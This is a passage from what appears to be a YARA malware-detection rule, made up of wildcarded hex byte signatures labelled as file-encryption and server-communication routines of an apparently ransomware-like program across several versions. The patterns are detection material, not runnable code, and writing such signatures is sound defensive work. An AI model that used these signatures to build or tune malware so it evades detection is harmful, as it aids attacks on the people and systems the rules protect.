?? 83 C8 ?? E9 D5 00 00 00 8D 44 24 ?? 50 - 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? 51 8D 94 24 ?? ?? ?? ?? 52 57 53 55 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? - 56 FF 15 ?? ?? ?? ?? 6A ?? 8D 44 24 ?? 50 6A ?? 8D 8C 24 ?? ?? ?? ?? 51 56 FF 15 ?? ?? ?? ?? 6A ?? 8D 54 24 ?? 52 6A ?? - 8D 44 24 ?? 50 56 FF 15 ?? ?? ?? ?? 6A ?? 8D 4C 24 ?? 51 57 53 56 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8B 74 24 ?? 8D - 94 24 ?? ?? ?? ?? 52 56 FF 15 ?? ?? ?? ?? A1 ?? ?? ?? ?? 85 C0 74 0F 56 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 05 - ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 55 11 05 ?? ?? ?? ?? 01 3D ?? ?? ?? ?? 11 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? - 83 C4 ?? B8 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 5D 5B 5F 5E 33 CC E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 - } - $encrypt_file_0_3_1 = { - 53 8D 84 24 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B 94 24 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 89 94 24 - ?? ?? ?? ?? 8B D5 83 E2 ?? BF ?? ?? ?? ?? 2B FA 89 8C 24 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 8D 1C 2F 53 89 84 24 ?? ?? ?? - ?? 89 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 89 44 24 ?? 74 38 6A ?? 8D 4C 24 ?? 51 55 50 56 FF 15 ?? ?? ?? ?? - 85 C0 74 24 3B 6C 24 ?? 75 1E 57 57 8B 7C 24 ?? 8D 14 2F 52 E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 8B E8 83 C4 ?? 85 ED 75 0F - 56 FF 15 ?? ?? ?? ?? 83 C8 ?? E9 0F 01 00 00 8D 44 24 ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? 51 8D 94 24 ?? ?? - ?? ?? 52 53 55 57 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 6A ?? 8D 44 24 ?? 50 - 6A ?? 8D 8C 24 ?? ?? ?? ?? 51 56 FF D7 6A ?? 8D 54 24 ?? 52 6A ?? 8D 44 24 ?? 50 56 FF D7 6A ?? 8D 4C 24 ?? 51 53 55 56 - FF D7 56 FF 15 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 33 F6 8D 9B ?? ?? ?? ?? 8B 44 24 ?? 6A ?? 8D 94 24 ?? ?? ?? ?? 52 50 FF 15 - ?? ?? ?? ?? 85 C0 75 27 FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 75 0E 8D 8C 24 ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 6A ?? FF D7 83 - C6 ?? 83 FE ?? 7C C0 A1 ?? ?? ?? ?? 33 F6 3B C6 74 13 8B 54 24 ?? 52 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 05 ?? - ?? ?? ?? ?? 8B 44 24 ?? 50 11 35 ?? ?? ?? ?? 01 1D ?? ?? ?? ?? 11 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 E8 ?? ?? ?? ?? 83 C4 - ?? B8 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 5B 5D 5F 5E 33 CC E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 - } - $encrypt_file_0_3_3_1 = { - 55 8D 84 24 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B 94 24 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 89 94 24 - ?? ?? ?? ?? 8B D3 83 E2 ?? BD ?? ?? ?? ?? 2B EA 89 84 24 ?? ?? ?? ?? 8D 04 2B 89 8C 24 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? - 50 89 8C 24 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 0F 84 0A 01 00 00 6A ?? 8D 44 24 ?? 50 53 57 56 - FF 15 ?? ?? ?? ?? 85 C0 75 18 56 FF 15 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 83 C8 ?? E9 98 01 00 00 3B 5C 24 ?? 75 1E - 55 8D 0C 1F 55 51 E8 ?? ?? ?? ?? 8B 6C 24 ?? 55 E8 ?? ?? ?? ?? 8B D8 83 C4 ?? 85 DB 75 18 57 E8 ?? ?? ?? ?? 83 C4 ?? 56 - FF 15 ?? ?? ?? ?? 83 C8 ?? E9 5C 01 00 00 8D 54 24 ?? 52 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 44 24 ?? 50 8D 8C 24 ?? ?? ?? - ?? 51 55 53 57 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 8B 2D ?? ?? ?? ?? 6A ?? 8D 54 24 ?? 52 6A - ?? 8D 84 24 ?? ?? ?? ?? 50 56 C7 44 24 ?? ?? ?? ?? ?? FF D5 85 C0 74 39 6A ?? 8D 4C 24 ?? 51 6A ?? 8D 54 24 ?? 52 56 C7 - 44 24 ?? ?? ?? ?? ?? FF D5 85 C0 74 1C 8B 4C 24 ?? 6A ?? 8D 44 24 ?? 50 51 53 56 C7 44 24 ?? ?? ?? ?? ?? FF D5 85 C0 75 - 1E 57 E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 56 FF 15 ?? ?? ?? ?? 83 C8 ?? E9 AB 00 00 00 56 FF 15 ?? ?? ?? ?? 56 FF - } - $encrypt_file_0_3_3_2 = { - 15 ?? ?? ?? ?? 8B 2D ?? ?? ?? ?? 33 F6 8D 49 ?? 8B 44 24 ?? 6A ?? 8D 94 24 ?? ?? ?? ?? 52 50 FF 15 ?? ?? ?? ?? 85 C0 75 - 2A FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 75 0E 8D 8C 24 ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D5 83 C6 ?? 83 FE - ?? 7C BD A1 ?? ?? ?? ?? 33 F6 3B C6 74 13 8B 54 24 ?? 52 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 05 ?? ?? ?? ?? ?? - 8B 44 24 ?? 57 11 35 ?? ?? ?? ?? 01 05 ?? ?? ?? ?? 11 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? B8 ?? ?? - ?? ?? 8B 8C 24 ?? ?? ?? ?? 5D 5B 5F 5E 33 CC E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 - } - $encrypt_file_0_3_4a_1 = { - B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 33 C0 56 8B B4 24 ?? ?? ?? ?? 57 33 FF 68 ?? ?? - ?? ?? 89 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 66 89 84 24 ?? ?? ?? ?? 88 84 24 ?? ?? ?? ?? 88 84 - 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 66 89 84 24 ?? ?? ?? ?? 88 84 24 ?? ?? ?? - ?? 8D 84 24 ?? ?? ?? ?? 57 50 89 74 24 ?? C6 84 24 ?? ?? ?? ?? ?? 89 7C 24 ?? 66 89 BC 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A - ?? 56 8D 8C 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 - E8 ?? ?? ?? ?? 83 C4 ?? 57 68 ?? ?? ?? ?? 6A ?? 57 57 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 75 19 5F 0B C0 - 5E 8B 8C 24 ?? ?? ?? ?? 33 CC E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 53 57 56 FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 74 08 81 FB - ?? ?? ?? ?? 76 22 56 FF 15 ?? ?? ?? ?? 5B 5F 83 C8 ?? 5E 8B 8C 24 ?? ?? ?? ?? 33 CC E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 - 55 8D 84 24 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 6A ?? 8D 8C 24 ?? ?? ?? ?? 51 8D 94 24 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 8B - C3 83 E0 ?? BD ?? ?? ?? ?? 2B E8 8D 04 2B 50 89 44 24 ?? E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 0F 84 0A 01 00 00 6A ?? 8D - 4C 24 ?? 51 53 57 56 FF 15 ?? ?? ?? ?? 85 C0 75 18 56 FF 15 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 83 C8 ?? E9 99 01 00 - } - $encrypt_file_0_3_4a_2 = { - 00 3B 5C 24 ?? 75 1E 55 8D 14 1F 55 52 E8 ?? ?? ?? ?? 8B 6C 24 ?? 55 E8 ?? ?? ?? ?? 8B D8 83 C4 ?? 85 DB 75 18 57 E8 ?? - ?? ?? ?? 83 C4 ?? 56 FF 15 ?? ?? ?? ?? 83 C8 ?? E9 5D 01 00 00 8D 44 24 ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? - 51 8D 94 24 ?? ?? ?? ?? 52 55 53 57 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 8B 2D ?? ?? ?? ?? 6A - ?? 8D 44 24 ?? 50 6A ?? 8D 8C 24 ?? ?? ?? ?? 51 56 C7 44 24 ?? ?? ?? ?? ?? FF D5 85 C0 74 39 6A ?? 8D 54 24 ?? 52 6A ?? - 8D 44 24 ?? 50 56 C7 44 24 ?? ?? ?? ?? ?? FF D5 85 C0 74 1C 8B 54 24 ?? 6A ?? 8D 4C 24 ?? 51 52 53 56 C7 44 24 ?? ?? ?? - ?? ?? FF D5 85 C0 75 1E 57 E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 56 FF 15 ?? ?? ?? ?? 83 C8 ?? E9 AC 00 00 00 56 FF - 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8B 2D ?? ?? ?? ?? 33 F6 8D 64 24 ?? 8B 4C 24 ?? 6A ?? 8D 84 24 ?? ?? ?? ?? 50 51 FF - 15 ?? ?? ?? ?? 85 C0 75 2A FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 75 0E 8D 94 24 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? - ?? FF D5 83 C6 ?? 83 FE ?? 7C BD A1 ?? ?? ?? ?? 33 F6 3B C6 74 13 8B 4C 24 ?? 51 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 - ?? 83 05 ?? ?? ?? ?? ?? 8B 54 24 ?? 57 11 35 ?? ?? ?? ?? 01 15 ?? ?? ?? ?? 11 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 E8 ?? ?? - ?? ?? 83 C4 ?? B8 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 5D 5B 5F 5E 33 CC E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 - } - $encrypt_file_0_3_5a_1 = { - B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 53 33 C0 55 56 57 33 FF 68 ?? ?? ?? ?? 89 84 24 - ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 66 89 84 24 ?? ?? ?? ?? 88 84 24 ?? ?? ?? ?? 88 84 24 ?? ?? ?? ?? - 89 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 66 89 84 24 ?? ?? ?? ?? 88 84 24 ?? ?? ?? ?? 8D 84 24 ?? - ?? ?? ?? 8B F1 57 50 89 74 24 ?? C6 84 24 ?? ?? ?? ?? ?? 89 7C 24 ?? 66 89 BC 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A - ?? 56 8D 8C 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 - E8 ?? ?? ?? ?? 83 C4 ?? 57 68 ?? ?? ?? ?? 6A ?? 57 57 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 0F 84 D2 00 00 - 00 57 56 FF 15 ?? ?? ?? ?? 8B E8 83 FD ?? 0F 84 B8 00 00 00 3B EF 0F 84 B0 00 00 00 81 FD ?? ?? ?? ?? 0F 87 A4 00 00 00 - 8D 4F ?? 8D 94 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 8B 94 24 ?? ?? ?? ?? 89 8C 24 ?? - ?? ?? ?? 89 84 24 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 8B CD 83 E1 ?? BB ?? ?? ?? ?? 2B D9 89 84 24 ?? ?? ?? ?? 8D 04 2B 50 - 89 94 24 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 74 3B 6A ?? 8D 54 24 ?? 52 55 57 56 FF 15 ?? ?? ?? - ?? 85 C0 75 18 56 FF 15 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 83 C8 ?? E9 98 01 00 00 3B 6C 24 ?? 74 18 57 E8 - } - $encrypt_file_0_3_5a_2 = { - 83 C4 ?? 56 FF 15 ?? ?? ?? ?? 83 C8 ?? E9 7A 01 00 00 53 8D 04 2F 53 50 E8 ?? ?? ?? ?? 8B 6C 24 ?? 83 C4 ?? 55 E8 ?? - ?? ?? ?? 8B D8 83 C4 ?? 85 DB 74 C7 8D 4C 24 ?? 51 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 54 24 ?? 52 8D 84 24 ?? ?? ?? ?? 50 - 55 57 8B CB E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 8B 2D ?? ?? ?? ?? 6A ?? 8D 4C 24 ?? 51 6A ?? - 8D 94 24 ?? ?? ?? ?? 52 56 C7 44 24 ?? ?? ?? ?? ?? FF D5 85 C0 75 0F 57 E8 ?? ?? ?? ?? 83 C4 ?? 53 E9 5E FF FF FF 6A ?? - 8D 44 24 ?? 50 6A ?? 8D 4C 24 ?? 51 56 C7 44 24 ?? ?? ?? ?? ?? FF D5 85 C0 74 D4 8B 44 24 ?? 6A ?? 8D 54 24 ?? 52 50 53 - 56 C7 44 24 ?? ?? ?? ?? ?? FF D5 85 C0 74 B8 56 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8B 2D ?? ?? ?? ?? 33 F6 EB 09 8D - A4 24 ?? ?? ?? ?? 8B FF 8B 54 24 ?? 6A ?? 8D 8C 24 ?? ?? ?? ?? 51 52 FF 15 ?? ?? ?? ?? 85 C0 75 2A FF 15 ?? ?? ?? ?? 3D - ?? ?? ?? ?? 75 0E 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D5 83 C6 ?? 83 FE ?? 7C BD A1 ?? ?? ?? ?? - 33 F6 3B C6 74 13 8B 4C 24 ?? 51 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 05 ?? ?? ?? ?? ?? 8B 54 24 ?? 57 11 35 ?? - ?? ?? ?? 01 15 ?? ?? ?? ?? 11 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? B8 ?? ?? ?? ?? 8B 8C 24 - ?? ?? ?? ?? 5F 5E 5D 5B 33 CC E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 - } - $server_communication_0_2_6a_1 = { - B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 8B 00 53 33 DB 39 1D ?? ?? - ?? ?? A3 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 55 56 57 68 ?? ?? ?? ?? 8D 44 24 ?? 53 50 88 5C 24 ?? - E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 53 51 88 9C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 53 89 44 24 ?? 89 44 - 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 83 C4 ?? 51 8B 0D ?? ?? ?? ?? 51 8B 0D ?? ?? ?? ?? 51 8B 0D ?? ?? ?? - ?? 51 52 8B 15 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? 52 - 50 E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 52 8B 15 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? 51 52 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 - ?? 50 68 ?? ?? ?? ?? 8D 4C 24 ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 8D 44 24 ?? 83 C4 ?? 8D 70 ?? 8A 08 83 C0 ?? 3A CB 75 - F7 8D 54 24 ?? 52 8D 8C 24 ?? ?? ?? ?? 51 2B C6 50 8D 54 24 ?? 52 E8 ?? ?? ?? ?? 8D 4C 24 ?? 51 8D 94 04 ?? ?? ?? ?? 52 - E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 4C 24 ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 83 - C4 ?? 53 53 53 53 52 FF 15 ?? ?? ?? ?? 8B F8 A1 ?? ?? ?? ?? 8B 0C 85 ?? ?? ?? ?? 8B 14 85 ?? ?? ?? ?? 51 53 52 FF 15 - } - $server_communication_0_2_6a_2 = { - A1 ?? ?? ?? ?? 8B 0C 85 ?? ?? ?? ?? 53 53 6A ?? 53 53 68 ?? ?? ?? ?? 51 57 FF 15 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? - 53 53 53 8D 54 24 ?? 52 8B E8 68 ?? ?? ?? ?? 55 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B F0 8D 84 24 ?? ?? ?? ?? 53 50 88 9C - 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 53 53 53 56 89 5C 24 ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? - ?? ?? 8D 4C 24 ?? 51 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 52 56 FF 15 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 - E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 33 C0 68 ?? ?? ?? ?? 8D 4C 24 ?? 68 ?? ?? ?? ?? 51 C7 05 ?? ?? ?? ?? ?? - ?? ?? ?? 89 5C 24 ?? A3 ?? ?? ?? ?? A3 ?? ?? ?? ?? A3 ?? ?? ?? ?? A3 ?? ?? ?? ?? A3 ?? ?? ?? ?? A3 ?? ?? ?? ?? A3 ?? ?? - ?? ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 54 24 ?? 52 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 50 E8 - ?? ?? ?? ?? 83 C4 ?? 56 8B 35 ?? ?? ?? ?? FF D6 - } - $server_communication_0_3_1_1 = { - 8B 0D ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 51 8B 0D ?? ?? ?? ?? 51 8B 0D ?? ?? ?? ?? 51 8B 0D ?? ?? ?? ?? 51 8B 0D ?? ?? - ?? ?? 51 8B 0D ?? ?? ?? ?? 51 52 8B 15 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? - ?? 53 68 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 52 8B 15 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? 51 52 68 ?? ?? ?? ?? - 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 68 ?? ?? ?? ?? 8D 4C 24 ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 8D 44 24 ?? 83 C4 ?? 8D 48 ?? - 8A 10 83 C0 ?? 3A D3 75 F7 55 56 57 2B C1 8D 54 24 ?? 52 8D 8C 24 ?? ?? ?? ?? 51 50 8D 54 24 ?? 52 E8 ?? ?? ?? ?? 8D 4C - 24 ?? 51 8D 94 04 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 4C 24 ?? 68 ?? ?? ?? ?? 51 E8 - ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 83 C4 ?? 53 53 53 53 52 FF 15 ?? ?? ?? ?? 8B F8 A1 ?? ?? ?? ?? 8B 0C 85 ?? ?? ?? ?? 8B 14 - 85 ?? ?? ?? ?? 51 53 52 FF 15 ?? ?? ?? ?? A1 ?? ?? ?? ?? 83 F8 ?? 53 53 6A ?? 53 53 73 23 8B 04 85 ?? ?? ?? ?? 6A ?? 50 - 57 FF 15 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? 53 53 53 8D 4C 24 ?? 8B F0 51 EB 24 8B 14 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 57 FF - 15 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? 53 53 8B F0 53 8D 44 24 ?? 50 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8C - } - $server_communication_0_3_1_2 = { - 24 ?? ?? ?? ?? 53 51 8B E8 88 9C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 53 53 53 55 89 5C 24 ?? FF 15 ?? ?? ?? ?? FF - 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 54 24 ?? 52 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 55 FF 15 ?? ?? ?? ?? 8D 8C - 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 33 C0 68 ?? ?? ?? ?? 8D 54 24 ?? 68 ?? - ?? ?? ?? 52 C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 89 5C 24 ?? A3 ?? ?? ?? ?? A3 ?? ?? ?? ?? A3 ?? ?? ?? ?? A3 ?? ?? ?? ?? A3 ?? - ?? ?? ?? A3 ?? ?? ?? ?? A3 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 50 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 8B 4C 24 ?? 51 E8 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 83 C4 ?? 55 FF D3 - } - $server_communication_0_3_3_1 = { - B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? B8 ?? ?? ?? ?? 8D 50 ?? 8A 08 83 C0 ?? 84 C9 75 - F7 2B C2 75 0D 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 55 56 57 68 ?? ?? ?? ?? 8D 44 24 ?? 6A ?? 50 C6 44 24 ?? ?? E8 - ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 6A ?? 51 C6 84 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 33 C0 - 83 C4 ?? 50 50 50 50 52 89 44 24 ?? 89 44 24 ?? 89 44 24 ?? FF 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B F8 89 7C 24 ?? 33 F6 - EB 04 8B 7C 24 ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 6A ?? 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 6A ?? 51 E8 ?? - ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 51 8B 0D ?? ?? ?? ?? 51 8B 0D ?? ?? ?? ?? 56 51 - 8B 0D ?? ?? ?? ?? 51 8B 0D ?? ?? ?? ?? 51 52 8B 15 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 52 - 50 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 52 8B 15 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? 51 - 52 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4C 24 ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? - ?? 8D 44 24 ?? 83 C4 ?? 8D 48 ?? 8A 10 83 C0 ?? 84 D2 75 F7 2B C1 8D 54 24 ?? 52 8D 8C 24 ?? ?? ?? ?? 51 50 8D 54 24 - } - $server_communication_0_3_3_2 = { - 52 E8 ?? ?? ?? ?? 8D 4C 24 ?? 51 8D 94 04 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 4C 24 - ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 83 FE ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 7D 23 8B 14 B5 ?? ?? ?? ?? 6A ?? 52 - 57 FF D3 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 8B F8 6A ?? 8D 44 24 ?? 50 EB 3C 8B 0C B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 57 FF - D3 8B 14 B5 ?? ?? ?? ?? 52 8B F8 8B 04 B5 ?? ?? ?? ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? - 8D 4C 24 ?? 51 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 6A ?? 52 8B E8 C6 84 24 ?? ?? ?? - ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? 6A ?? 55 C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 - C0 75 32 8D 44 24 ?? 50 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 51 55 FF 15 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? - 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 55 8B 2D ?? ?? ?? ?? FF D5 - } - $server_communication_0_3_4a_1 = { - B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 6A ?? 50 C6 44 24 ?? - ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 6A ?? 51 C6 84 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 83 C4 ?? 85 C0 75 0D 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 55 56 